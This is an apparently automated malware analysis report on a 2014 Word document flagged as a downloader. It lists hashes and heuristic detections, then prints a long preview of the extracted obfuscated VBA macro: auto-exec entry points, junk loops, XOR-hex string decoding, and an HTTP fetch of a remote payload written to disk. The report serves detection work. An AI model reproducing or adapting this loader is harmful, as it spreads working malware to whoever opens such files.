Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0db27aefbfae00b2…

MALICIOUS

Office (OLE)

105.5 KB Created: 2014-11-07 10:23:00 Authoring application: Microsoft Office Word First seen: 2014-11-24
MD5: 8975592e1f7e2e8f8ce89147c9d09727 SHA-1: 67751574603cbade811941a8d9ab12c6a69ea5ab SHA-256: 0db27aefbfae00b2658a360ec12445aabf0993fac6750b9c99b12e98bc3ebe4b
332 Risk Score

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        AHZQJMJWIZG = Shell(AKFQBNJCZGL, 1)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set LHKDBMKRMVZ = CreateObject(XORI(HexToString("191B3C1E066B470C05281B1E0D39"), HexToString("544864534A5969")))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set LHKDBMKRMVZ = CreateObject(XORI(HexToString("191B3C1E066B470C05281B1E0D39"), HexToString("544864534A5969")))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    njKBLJ = Environ(XORI(HexToString("160C1D12"), HexToString("424950"))) & XORI(HexToString("1B061D2413111C280D170C2469222E04"), HexToString("47475661"))
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 51464 bytes
SHA-256: 18a52f23a6826220f0ee1ff033a3628f43e952f9fea4fbbce2a7312f6a4ef649
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
Dim pDsIZiSs As Integer
For pDsIZiSs = 0 To 7

Dim XGgxgsRK As Integer
If 913198 = 913198 + 1 Then End
If 6145 < 93 Then
        MsgBox (XORI(HexToString("0410383E3E3A0A3F535E"), HexToString("686A62")))
End If
If Len(XORI(HexToString("32011718120E2C32585A5C7D"), HexToString("6448736F63"))) = Len(XORI(HexToString("1D2D2A2F2B1C0204"), HexToString("6E6573436C"))) Then
       MsgBox (XORI(HexToString("1C391E272B6B4D6978"), HexToString("594B6C48")))
End If
XGgxgsRK = 7

Do While XGgxgsRK < 79
If 874488 = 874488 + 1 Then End
If 8385 < 86 Then
        MsgBox (XORI(HexToString("333E210E1030092F635A"), HexToString("6950685459786C")))
End If
If Len(XORI(HexToString("143C220A3D1C32034A564545"), HexToString("647673"))) = Len(XORI(HexToString("1E3A203500061F26"), HexToString("6C4A504C5161"))) Then
       MsgBox (XORI(HexToString("0E3E2409396C77476A"), HexToString("4B4C5666")))
End If
DoEvents: XGgxgsRK = XGgxgsRK + 1

If 456718 = 456718 + 1 Then End
If 7257 < 47 Then
        MsgBox (XORI(HexToString("03122010023717165E73"), HexToString("44536D")))
End If
If Len(XORI(HexToString("23053E3C2B0A2007715E4941"), HexToString("5A54496F7879"))) = Len(XORI(HexToString("2E202F213B141F32"), HexToString("426D676E51"))) Then
       MsgBox (XORI(HexToString("21060A0B0658455559"), HexToString("647478")))
End If
Loop


If 982491 = 982491 + 1 Then End
If 9566 < 98 Then
        MsgBox (XORI(HexToString("3D1E0A1C033B052B6D7A"), HexToString("7251675949")))
End If
If Len(XORI(HexToString("1900072F3D2F1F04427D4043"), HexToString("734E7175"))) = Len(XORI(HexToString("200201062E371518"), HexToString("536E426F6242"))) Then
       MsgBox (XORI(HexToString("14081516194F6F705B"), HexToString("517A67796B6F4E")))
End If
DoEvents

Next pDsIZiSs

Dim RFltRZzl As Integer
If 292583 = 292583 + 1 Then End
If 2822 < 59 Then
        MsgBox (XORI(HexToString("3F3734242C223E0E4941"), HexToString("7A744C49")))
End If
If Len(XORI(HexToString("2D2B171B190F33047A5E6C65"), HexToString("49685A56"))) = Len(XORI(HexToString("3F0C0A0C063A2C3C"), HexToString("794D69"))) Then
       MsgBox (XORI(HexToString("23360A0D166A444765"), HexToString("66447862644A65")))
End If
RFltRZzl = 6

Do While RFltRZzl < 49
If 963732 = 963732 + 1 Then End
If 6486 < 67 Then
        MsgBox (XORI(HexToString("2110173009062B307943"), HexToString("72684D")))
End If
If Len(XORI(HexToString("18160A233219360362694472"), HexToString("56555A77444B70"))) = Len(XORI(HexToString("153925283C0D2B02"), HexToString("4251555950"))) Then
       MsgBox (XORI(HexToString("010515213657466F65"), HexToString("4477674E")))
End If
DoEvents: RFltRZzl = RFltRZzl + 1

If 645238 = 645238 + 1 Then End
If 6358 < 94 Then
        MsgBox (XORI(HexToString("2E36151D011E323D7963"), HexToString("6C4E5267644C5A")))
End If
If Len(XORI(HexToString("212B043F3D2C2B0D42634059"), HexToString("7961697551"))) = Len(XORI(HexToString("263A0B2A00180005"), HexToString("56744C6C"))) Then
       MsgBox (XORI(HexToString("1423183C027A70704B"), HexToString("51516A53705A")))
End If
Loop


If 978733 = 978733 + 1 Then End
If 6535 < 68 Then
        MsgBox (XORI(HexToString("322E1C01011A2A3D4C42"), HexToString("706D78")))
End If
If Len(XORI(HexToString("26161E37322D00235A426C79"), HexToString("646C6D76544F"))) = Len(XORI(HexToString("3916370F1D330939"), HexToString("7461677A"))) Then
       MsgBox (XORI(HexToString("3D162B352343594578"), HexToString("7864595A5163")))
End If
GZQXNGNMUTV

End Sub
Sub AutoOpen()
Dim nHNAhMYm As Integer
For nHNAhMYm = 0 To 7

Dim IliBdOlk As Integer
If 884677 = 884677 + 1 Then End
If 8743 < 54 Then
        MsgBox (XORI(HexToString("273A27250B0E3B0A4B66"), HexToString("546272535269")))
End If
If Len(XORI(HexToString("11381432211C362B6043654F"), HexToString("61527254797766"))) = Len(XORI(HexToString("3F281F2B0024130D"), HexToString("6E65556A746363"))) Then
       MsgBox (XORI(HexToString("0A030B231C676E5058"), HexToString("4F71794C6E47")))
End If
IliBdOlk = 4

Do While IliBdOlk < 17
If 722174 = 722174 + 1 Then End
If 2656 < 44 Then
        MsgBox (XORI(HexToString("2802170B09172E0F7955"), HexToString("4B636F63")))
End If
If Len(XORI(HexToString("1E030F0D240E043F5D42456D"), HexToString("687A7754"))) = Len(XORI(HexToString("1719222219160C3A"), HexToString("4E54506373"))) Then
       MsgBox (XORI(HexToString("0A2313173D7140596E"), HexToString("4F516178")))
End If
DoEvents: IliBdOlk = IliBdOlk + 1

If 162279 = 162279 + 1 Then End
If 8116 < 46 Then
        MsgBox (XORI(HexToString("31002B2C3A3C0D2E7C71"), HexToString("495945")))
End If
If Len(XORI(HexToString("1034200933342F1E517B747A"), HexToString("656D63484343"))) = Len(XORI(HexToString("0E0205353A0A1820"), HexToString("47726B7256"))) Then
       MsgBox (XORI(HexToString("2C0B302A0549586364"), HexToString("6979424577")))
End If
Loop


If 254427 = 254427 + 1 Then End
If 8383 < 86 Then
        MsgBox (XORI(HexToString("2E0E141D21083D3A5274"), HexToString("79644D49785249")))
End If
If Len(XORI(HexToString("22190122062B35127F467962"), HexToString("4D51474674"))) = Len(XORI(HexToString("3514140D271C2533"), HexToString("476470"))) Then
       MsgBox (XORI(HexToString("29311D1C214C624E52"), HexToString("6C436F7353")))
End If
DoEvents

Next nHNAhMYm

Dim rKbTlhRf As Integer
If 267289 = 267289 + 1 Then End
If 6362 < 28 Then
        MsgBox (XORI(HexToString("11201F34250D2129627C"), HexToString("4579514E6B46")))
End If
If Len(XORI(HexToString("332F321B1D322E2C445A5540"), HexToString("6B6773"))) = Len(XORI(HexToString("280A1C0931051D0A"), HexToString("4B67687141"))) Then
       MsgBox (XORI(HexToString("1F1D350D077A4E6643"), HexToString("5A6F476275")))
End If
rKbTlhRf = 1

Do While rKbTlhRf < 53
If 274343 = 274343 + 1 Then End
If 2385 < 41 Then
        MsgBox (XORI(HexToString("290B1A37100E27165378"), HexToString("654A5354")))
End If
If Len(XORI(HexToString("051C1E133E3A253C7A5E6377"), HexToString("6B564F"))) = Len(XORI(HexToString("0E192108233C332B"), HexToString("414D4D63676A62"))) Then
       MsgBox (XORI(HexToString("0A3A0035116F69537B"), HexToString("4F48725A63")))
End If
DoEvents: rKbTlhRf = rKbTlhRf + 1

If 182362 = 182362 + 1 Then End
If 4523 < 91 Then
        MsgBox (XORI(HexToString("2D2E1037383D072B7065"), HexToString("5A64724251")))
End If
If Len(XORI(HexToString("02300D2E3E1C280F667D547E"), HexToString("514A6C48"))) = Len(XORI(HexToString("0F043A123B0F0D27"), HexToString("695068535177"))) Then
       MsgBox (XORI(HexToString("2C11071D3D4B684842"), HexToString("696375724F6B49")))
End If
Loop


If 832229 = 832229 + 1 Then End
If 2377 < 26 Then
        MsgBox (XORI(HexToString("3408352020290E085C7D"), HexToString("7849616F4A")))
End If
If Len(XORI(HexToString("231E0328122B002770777451"), HexToString("4766614345"))) = Len(XORI(HexToString("313A3A2D2A3B050D"), HexToString("464B5349"))) Then
       MsgBox (XORI(HexToString("3D0A052D0A58566359"), HexToString("78787742")))
End If
    Auto_Open

End Sub
Sub Workbook_Open()
Dim rlAwdhQo As Integer
For rlAwdhQo = 0 To 9

Dim COFnbjyH As Integer
If 265281 = 265281 + 1 Then End
If 6342 < 28 Then
        MsgBox (XORI(HexToString("3224172B0F050D295C69"), HexToString("666D5165647477")))
End If
If Len(XORI(HexToString("2A1C0E2C243F3C2D6E7A4B62"), HexToString("7250665948"))) = Len(XORI(HexToString("0337200625181C30"), HexToString("734D7074"))) Then
       MsgBox (XORI(HexToString("001C330E1362644F60"), HexToString("456E41616142")))
End If
COFnbjyH = 7

Do While COFnbjyH < 78
If 698662 = 698662 + 1 Then End
If 6528 < 68 Then
        MsgBox (XORI(HexToString("3D3F373422021C21634C"), HexToString("56795278566E")))
End If
If Len(XORI(HexToString("2C0B060013022A1E447F4268"), HexToString("6E79734B7551"))) = Len(XORI(HexToString("002A1A220407330F"), HexToString("4C524E5A71"))) Then
       MsgBox (XORI(HexToString("083C2B1903746C6F78"), HexToString("4D4E59767154")))
End If
DoEvents: COFnbjyH = COFnbjyH + 1

If 516725 = 516725 + 1 Then End
If 8757 < 53 Then
        MsgBox (XORI(HexToString("1C243D11222721134363"), HexToString("505670")))
End If
If Len(XORI(HexToString("1E343901343C3D1D777B5F64"), HexToString("6E534E4E4D"))) = Len(XORI(HexToString("120113302F22132F"), HexToString("434A5168484751"))) Then
       MsgBox (XORI(HexToString("153A15251D4D716946"), HexToString("5048674A6F6D")))
End If
Loop


If 665192 = 665192 + 1 Then End
If 7283 < 99 Then
        MsgBox (XORI(HexToString("2409052D1E33271B556D"), HexToString("4964544B596951")))
End If
If Len(XORI(HexToString("3F15200B17331A1D74525A77"), HexToString("4545666F416477"))) = Len(XORI(HexToString("2220033019043322"), HexToString("7A5265"))) Then
       MsgBox (XORI(HexToString("15381035044651716B"), HexToString("504A625A766670")))
End If
DoEvents

Next rlAwdhQo

Dim kfOKsWyT As Integer
If 134677 = 134677 + 1 Then End
If 1244 < 44 Then
        MsgBox (XORI(HexToString("102800141E051419674B"), HexToString("7244555572")))
End If
If Len(XORI(HexToString("3A1E21010B2C3406706B7F5F"), HexToString("425A476B"))) = Len(XORI(HexToString("3735132822160B21"), HexToString("676D464E44"))) Then
       MsgBox (XORI(HexToString("2014160A1444444745"), HexToString("656664")))
End If
kfOKsWyT = 1

Do While kfOKsWyT < 15
If 142431 = 142431 + 1 Then End
If 7263 < 75 Then
        MsgBox (XORI(HexToString("291916102D201228666B"), HexToString("534C53")))
End If
If Len(XORI(HexToString("231924002A2839125C566B79"), HexToString("594A616467"))) = Len(XORI(HexToString("20183F3B2D30021A"), HexToString("786145706B5A74"))) Then
       MsgBox (XORI(HexToString("271D0806104F5B4843"), HexToString("626F7A69")))
End If
DoEvents: kfOKsWyT = kfOKsWyT + 1

If 774442 = 774442 + 1 Then End
If 7651 < 32 Then
        MsgBox (XORI(HexToString("21012D262818122C5161"), HexToString("554769")))
End If
If Len(XORI(HexToString("2B09211F26350C015D656857"), HexToString("51664D6550"))) = Len(XORI(HexToString("273A3F0626210417"), HexToString("7569676173704C"))) Then
       MsgBox (XORI(HexToString("0B26220D3C7471436F"), HexToString("4E545062")))
End If
Loop


If 416577 = 416577 + 1 Then End
If 1823 < 12 Then
        MsgBox (XORI(HexToString("032735362303130C6841"), HexToString("744F50")))
End If
If Len(XORI(HexToString("1D123202161B283D7D5B5D7F"), HexToString("6A6548"))) = Len(XORI(HexToString("1B0D0A0E34382601"), HexToString("714B64594D7342"))) Then
       MsgBox (XORI(HexToString("04340304006167504A"), HexToString("4146716B72")))
End If
    Auto_Open

End Sub
Function RGULTDVHYVP(ByVal HJNRBWNZOJU As String, ByVal AKFQBNJCZGL As String) As Boolean
     Dim LHKDBMKRMVZ As Object, CFZSBZFQHFL As Long, XGJFDCHXVVI As Long, WXGHYUAPXWY() As Byte

Dim jCKfgmPh As Integer
For jCKfgmPh = 0 To 7

Dim YRqYDPvh As Integer
If 344698 = 344698 + 1 Then End
If 9939 < 65 Then
        MsgBox (XORI(HexToString("3C1028202A3C1D11594E"), HexToString("69687842457655")))
End If
If Len(XORI(HexToString("083500213B242204577F4C43"), HexToString("634D7577"))) = Len(XORI(HexToString("39181D22001F1F3E"), HexToString("75794D51724673"))) Then
       MsgBox (XORI(HexToString("031110291142674243"), HexToString("466362")))
End If
YRqYDPvh = 4

Do While YRqYDPvh < 19
If 955332 = 955332 + 1 Then End
If 6492 < 67 Then
        MsgBox (XORI(HexToString("382E201D172F2835466B"), HexToString("6B436F7352")))
End If
If Len(XORI(HexToString("25351B38251A262B734A647F"), HexToString("4478504D"))) = Len(XORI(HexToString("11033C152804150B"), HexToString("466556"))) Then
       MsgBox (XORI(HexToString("2007380921435B4454"), HexToString("65754A6653637A")))
End If
DoEvents: YRqYDPvh = YRqYDPvh + 1

If 776841 = 776841 + 1 Then End
If 7665 < 17 Then
        MsgBox (XORI(HexToString("2D320A32021C20135A54"), HexToString("5961476267")))
End If
If Len(XORI(HexToString("22193923220706245D7E6365"), HexToString("654A5253"))) = Len(XORI(HexToString("3C1C0C2B3B150B2C"), HexToString("567441486D7979"))) Then
       MsgBox (XORI(HexToString("17273E03335473746D"), HexToString("52554C6C4174")))
End If
Loop


If 227257 = 227257 + 1 Then End
If 9921 < 83 Then
        MsgBox (XORI(HexToString("09003F27083022085E7D"), HexToString("4B4E69")))
End If
If Len(XORI(HexToString("2B062F28251A27066B716147"), HexToString("4F645A495676"))) = Len(XORI(HexToString("1E3F123C3B042E37"), HexToString("6B7346684267"))) Then
       MsgBox (XORI(HexToString("130523061176567048"), HexToString("5677516963")))
End If
DoEvents

Next jCKfgmPh

Dim EMWMaGTP As Integer
If 583923 = 583923 + 1 Then End
If 8629 < 52 Then
        MsgBox (XORI(HexToString("33223E33022A2706524F"), HexToString("647A6A75")))
End If
If Len(XORI(HexToString("04312F37111B38375C4E4F7B"), HexToString("77485A6F76"))) = Len(XORI(HexToString("0335152C260C2A3B"), HexToString("47655A4345"))) Then
       MsgBox (XORI(HexToString("37392127006B726953"), HexToString("724B5348")))
End If
EMWMaGTP = 6

Do While EMWMaGTP < 93
If 376554 = 376554 + 1 Then End
If 6729 < 61 Then
        MsgBox (XORI(HexToString("02280C2306042C0E5D58"), HexToString("6A6A696D")))
End If
If Len(XORI(HexToString("260B3A26393F0B225B755352"), HexToString("656C4364637369"))) = Len(XORI(HexToString("2E0B340F07332A0A"), HexToString("6442664A7065796F6674"))) Then
       MsgBox (XORI(HexToString("281F2835334D4C7B7B"), HexToString("6D6D5A5A41")))
End If
DoEvents: EMWMaGTP = EMWMaGTP + 1

If 919488 = 919488 + 1 Then End
If 4785 < 93 Then
        MsgBox (XORI(HexToString("3A012110140C1C396340"), HexToString("56785277556E")))
End If
If Len(XORI(HexToString("2103210F2E011E3540455B53"), HexToString("6E6B657774"))) = Len(XORI(HexToString("32063B1D0B25282B"), HexToString("414B514D5A7071"))) Then
       MsgBox (XORI(HexToString("0B23070C37756F7054"), HexToString("4E5175634555")))
End If
Loop


If 376754 = 376754 + 1 Then End
If 6722 < 61 Then
        MsgBox (XORI(HexToString("202C242A1E2B043E6872"), HexToString("48626A5944")))
End If
If Len(XORI(HexToString("3911211F39300912585E4C4A"), HexToString("7A79446F68"))) = Len(XORI(HexToString("193D2731012C0507"), HexToString("53746676"))) Then
       MsgBox (XORI(HexToString("070620191362557357"), HexToString("4274527661")))
End If
    Set LHKDBMKRMVZ = CreateObject(XORI(HexToString("191B3C1E066B470C05281B1E0D39"), HexToString("544864534A5969")))

    LHKDBMKRMVZ.Open XORI(HexToString("160125"), HexToString("514471516E414F")), HJNRBWNZOJU, False
Dim XhdIgGkC As Integer
For XhdIgGkC = 0 To 4

Dim ikHqHtQl As Integer
If 564721 = 564721 + 1 Then End
If 3221 < 97 Then
        MsgBox (XORI(HexToString("0E350D3E2B390C355069"), HexToString("4D7A446451")))
End If
If Len(XORI(HexToString("102D200F170713036F416944"), HexToString("496259755170"))) = Len(XORI(HexToString("1B270F32323F3913"), HexToString("7243465571"))) Then
       MsgBox (XORI(HexToString("07393405306B674B63"), HexToString("424B466A")))
End If
ikHqHtQl = 2

Do While ikHqHtQl < 57
If 458961 = 458961 + 1 Then End
If 1338 < 96 Then
        MsgBox (XORI(HexToString("2605200F31381E374249"), HexToString("526D457A70")))
End If
If Len(XORI(HexToString("082D122E11293F235752506B"), HexToString("64656368534C53"))) = Len(XORI(HexToString("2C2615082B231C20"), HexToString("4A495A6467"))) Then
       MsgBox (XORI(HexToString("323E3700247A55566D"), HexToString("774C456F565A74")))
End If
DoEvents: ikHqHtQl = ikHqHtQl + 1

If 147278 = 147278 + 1 Then End
If 1388 < 45 Then
        MsgBox (XORI(HexToString("030C0D1D320203265D48"), HexToString("616F7953685447")))
End If
If Len(XORI(HexToString("2B20272624000E115476705E"), HexToString("444366"))) = Len(XORI(HexToString("3531202737350F21"), HexToString("655054745466"))) Then
       MsgBox (XORI(HexToString("371D3907345855534E"), HexToString("726F4B68467874")))
End If
Loop


If 288744 = 288744 + 1 Then End
If 8646 < 89 Then
        MsgBox (XORI(HexToString("1D353E2D233221217147"), HexToString("516C47754462")))
End If
If Len(XORI(HexToString("13370F061B282D287B5D7B7E"), HexToString("7A426943485046"))) = Len(XORI(HexToString("0F172011212F2133"), HexToString("75757378"))) Then
       MsgBox (XORI(HexToString("26183C0E135055424B"), HexToString("636A4E61617074")))
End If
DoEvents

Next XhdIgGkC

Dim hnEdVCfc As Integer
If 488993 = 488993 + 1 Then End
If 7579 < 41 Then
        MsgBox (XORI(HexToString("2B000A113221042B6070"), HexToString("6F4D635545")))
End If
If Len(XORI(HexToString("312535082A13072C746A7762"), HexToString("43517A4552"))) = Len(XORI(HexToString("2C020F02183D1B1F"), HexToString("784B6B6B4C54"))) Then
       MsgBox (XORI(HexToString("0C163A261668684569"), HexToString("496448")))
End If
hnEdVCfc = 3

Do While hnEdVCfc < 79
If 969433 = 969433 + 1 Then End
If 3658 < 31 Then
        MsgBox (XORI(HexToString("3714153436351F0F4D48"), HexToString("795979")))
End If
If Len(XORI(HexToString("1126262827252B3C71567D6F"), HexToString("445645634C56"))) = Len(XORI(HexToString("182E193A1A2A2139"), HexToString("596B41"))) Then
       MsgBox (XORI(HexToString("14281B29334546707B"), HexToString("515A6946416567")))
End If
DoEvents: hnEdVCfc = hnEdVCfc + 1

If 911898 = 911898 + 1 Then End
If 4719 < 93 Then
        MsgBox (XORI(HexToString("3E1702393F251522445C"), HexToString("536D756A4F4B")))
End If
If Len(XORI(HexToString("1B2B390B3F153E044D7F7956"), HexToString("4A4F7A464E65"))) = Len(XORI(HexToString("201C28382911113C"), HexToString("44544A4D45"))) Then
       MsgBox (XORI(HexToString("021E18281E4A664D4B"), HexToString("476C6A")))
End If
Loop


If 265343 = 265343 + 1 Then End
If 5618 < 41 Then
        MsgBox (XORI(HexToString("2F361C0F20291D1E5965"), HexToString("4661504755664E")))
End If
If Len(XORI(HexToString("0633202A101B082555594D59"), HexToString("4142636C7861"))) = Len(XORI(HexToString("0932380D3602183B"), HexToString("59774F61"))) Then
       MsgBox (XORI(HexToString("09342B3A01436D6778"), HexToString("4C4659557363")))
End If
    LHKDBMKRMVZ.Send XORI(HexToString("00"), HexToString("736F4151"))


Dim tlxBJOui As Integer
For tlxBJOui = 0 To 5

Dim xPfwAzIg As Integer
If 963951 = 963951 + 1 Then End
If 6223 < 37 Then
        MsgBox (XORI(HexToString("11381F313B111006714E"), HexToString("767746")))
End If
If Len(XORI(HexToString("1D20362C3B35200E7D7F5772"), HexToString("4B6F44"))) = Len(XORI(HexToString("132E0B123705181D"), HexToString("714A5248"))) Then
       MsgBox (XORI(HexToString("2C181A021B4A494C48"), HexToString("696A686D")))
End If
xPfwAzIg = 2

Do While xPfwAzIg < 67
If 185345 = 185345 + 1 Then End
If 8792 < 71 Then
        MsgBox (XORI(HexToString("1B0013012C12111E6771"), HexToString("505142634E6568")))
End If
If Len(XORI(HexToString("16332930203703185A77507B"), HexToString("63426549"))) = Len(XORI(HexToString("0E36133E2700162D"), HexToString("6F64786F"))) Then
       MsgBox (XORI(HexToString("36361F1C364D52654C"), HexToString("73446D")))
End If
DoEvents: xPfwAzIg = xPfwAzIg + 1

If 474812 = 474812 + 1 Then End
If 4645 < 78 Then
        MsgBox (XORI(HexToString("1E0D24063C2805336F7F"), HexToString("5A4B6D49")))
End If
If Len(XORI(HexToString("09171D3B383D0121645C6C6C"), HexToString("6A51695459796D"))) = Len(XORI(HexToString("271C3D1D18072901"), HexToString("657774"))) Then
       MsgBox (XORI(HexToString("293922222B42504D6A"), HexToString("6C4B504D596271")))
End If
Loop


If 832528 = 832528 + 1 Then End
If 6173 < 54 Then
        MsgBox (XORI(HexToString("18221F2D021921335355"), HexToString("4D5667624554")))
End If
If Len(XORI(HexToString("103501222138140C7059677E"), HexToString("4761554A"))) = Len(XORI(HexToString("3E2C0A14123F1507"), HexToString("797A7843676E5266"))) Then
       MsgBox (XORI(HexToString("300B331A0B61545860"), HexToString("757941")))
End If
DoEvents

Next tlxBJOui

Dim lBVOGyGI As Integer
If 812655 = 812655 + 1 Then End
If 2817 < 84 Then
        MsgBox (XORI(HexToString("17000C3F0F1D14215766"), HexToString("66756E514548")))
End If
If Len(XORI(HexToString("0422300C023B290F67747E60"), HexToString("454951"))) = Len(XORI(HexToString("2607111431040F3D"), HexToString("435043"))) Then
       MsgBox (XORI(HexToString("141C1E21234E4D6F70"), HexToString("516E6C4E")))
End If
lBVOGyGI = 2

Do While lBVOGyGI < 59
If 544781 = 544781 + 1 Then End
If 8492 < 88 Then
        MsgBox (XORI(HexToString("17300913252F29045A7B"), HexToString("4D79436343")))
End If
If Len(XORI(HexToString("27371C1A282411146846655D"), HexToString("48615175506F"))) = Len(XORI(HexToString("16042A2007052902"), HexToString("646F46"))) Then
       MsgBox (XORI(HexToString("35161C2434494A5145"), HexToString("70646E4B46696B")))
End If
DoEvents: lBVOGyGI = lBVOGyGI + 1

If 585256 = 585256 + 1 Then End
If 9552 < 51 Then
        MsgBox (XORI(HexToString("343B350A331D1702474D"), HexToString("6C71796F546464")))
End If
If Len(XORI(HexToString("0C2527182C0C290B785F767D"), HexToString("68444B"))) = Len(XORI(HexToString("311E0A391500301F"), HexToString("774A495A636651"))) Then
       MsgBox (XORI(HexToString("0E361C392B6B654F77"), HexToString("4B446E5659")))
End If
Loop


If 568872 = 568872 + 1 Then End
If 8644 < 89 Then
        MsgBox (XORI(HexToString("3B2608073E20280E6655"), HexToString("55616E6B")))
End If
If Len(XORI(HexToString("0E3F2C021E0E2A0A7F725144"), HexToString("67464668704365"))) = Len(XORI(HexToString("1E341B2C3F2A011A"), HexToString("6442537453"))) Then
       MsgBox (XORI(HexToString("1C0313360341785040"), HexToString("597161")))
End If
    WXGHYUAPXWY = LHKDBMKRMVZ.responseBody


Dim DlnUuNRO As Integer
For DlnUuNRO = 0 To 9

Dim nfqYQLHG As Integer
If 212685 = 212685 + 1 Then End
If 8611 < 52 Then
        MsgBox (XORI(HexToString("3D070E160B3413084D76"), HexToString("6772787445")))
End If
If Len(XORI(HexToString("0A33103B153200047B41717C"), HexToString("794648"))) = Len(XORI(HexToString("2B3B3B2B212C073B"), HexToString("6F6A4D4F764255"))) Then
       MsgBox (XORI(HexToString("160B063C0B54725855"), HexToString("537974")))
End If
nfqYQLHG = 5

Do While nfqYQLHG < 96
If 192745 = 192745 + 1 Then End
If 7765 < 71 Then
        MsgBox (XORI(HexToString("383E053D16161E14454C"), HexToString("73786970")))
End If
If Len(XORI(HexToString("3809342D1D292B387B457F58"), HexToString("4D6E6E4373"))) = Len(XORI(HexToString("0F19112D3E050603"), HexToString("6E4C705452"))) Then
       MsgBox (XORI(HexToString("2A3B081E364F685B50"), HexToString("6F497A7144")))
End If
DoEvents: nfqYQLHG = nfqYQLHG + 1

If 965559 = 965559 + 1 Then End
If 9552 < 36 Then
        MsgBox (XORI(HexToString("10232303233708275A59"), HexToString("78776B6B4C54")))
End If
If Len(XORI(HexToString("07372C0E340C2F0D797A527A"), HexToString("496348"))) = Len(XORI(HexToString("3925301D380B3C3F"), HexToString("784A78"))) Then
       MsgBox (XORI(HexToString("353A370D3950696443"), HexToString("704845624B")))
End If
Loop


If 682894 = 682894 + 1 Then End
If 3667 < 39 Then
        MsgBox (XORI(HexToString("0E0C063B2D3B2F326859"), HexToString("62596A41425159")))
End If
If Len(XORI(HexToString("13041109342A1F1A64735F67"), HexToString("466D50"))) = Len(XORI(HexToString("1613222A3C05001D"), HexToString("4C526C"))) Then
       MsgBox (XORI(HexToString("2F3D3824186F6B6A4B"), HexToString("6A4F4A4B")))
End If
DoEvents

Next DlnUuNRO

Dim piSRwsbc As Integer
If 638337 = 638337 + 1 Then End
If 9973 < 65 Then
        MsgBox (XORI(HexToString("2F130B0C0A0A18104540"), HexToString("4E7972796444")))
End If
If Len(XORI(HexToString("2D24192307052A2E72787872"), HexToString("464A4C44"))) = Len(XORI(HexToString("180D193F040C2D26"), HexToString("54796965"))) Then
       MsgBox (XORI(HexToString("2B1626060142434F45"), HexToString("6E645469736262")))
End If
piSRwsbc = 2

Do While piSRwsbc < 65
If 618387 = 618387 + 1 Then End
If 8248 < 85 Then
        MsgBox (XORI(HexToString("150F090123290920487E"), HexToString("4163794B5A47")))
End If
If Len(XORI(HexToString("3907082B3D1F3F2D77575B62"), HexToString("4A4E6E635A536C"))) = Len(XORI(HexToString("330329310D2C0838"), HexToString("46627A"))) Then
       MsgBox (XORI(HexToString("073C23093363636F70"), HexToString("424E51664143")))
End If
DoEvents: piSRwsbc = piSRwsbc + 1

If 147412 = 147412 + 1 Then End
If 5174 < 16 Then
        MsgBox (XORI(HexToString("3432112C13380220467B"), HexToString("5651744A6377")))
End If
If Len(XORI(HexToString("022F34181C02242642525B58"), HexToString("4A7A666F6F6E73"))) = Len(XORI(HexToString("3D17211F08023A2A"), HexToString("566448"))) Then
       MsgBox (XORI(HexToString("11191C1E1B6777754A"), HexToString("546B6E71694756")))
End If
Loop


If 354162 = 354162 + 1 Then End
If 6596 < 69 Then
        MsgBox (XORI(HexToString("152F3901213A0C235B70"), HexToString("79686A44676C")))
End If
If Len(XORI(HexToString("07113A3C1222000251657D53"), HexToString("4965726651"))) = Len(XORI(HexToString("0238172407361832"), HexToString("4F4E7051"))) Then
       MsgBox (XORI(HexToString("2417370A1345644440"), HexToString("61654565")))
End If
    XGJFDCHXVVI = FreeFile

    Open AKFQBNJCZGL For Binary As #XGJFDCHXVVI
Dim wxoNzdGt As Integer
For wxoNzdGt = 0 To 6

Dim eNKuaZpx As Integer
If 916865 = 916865 + 1 Then End
If 7652 < 42 Then
        MsgBox (XORI(HexToString("06372F07092D14145271"), HexToString("6A427956")))
End If
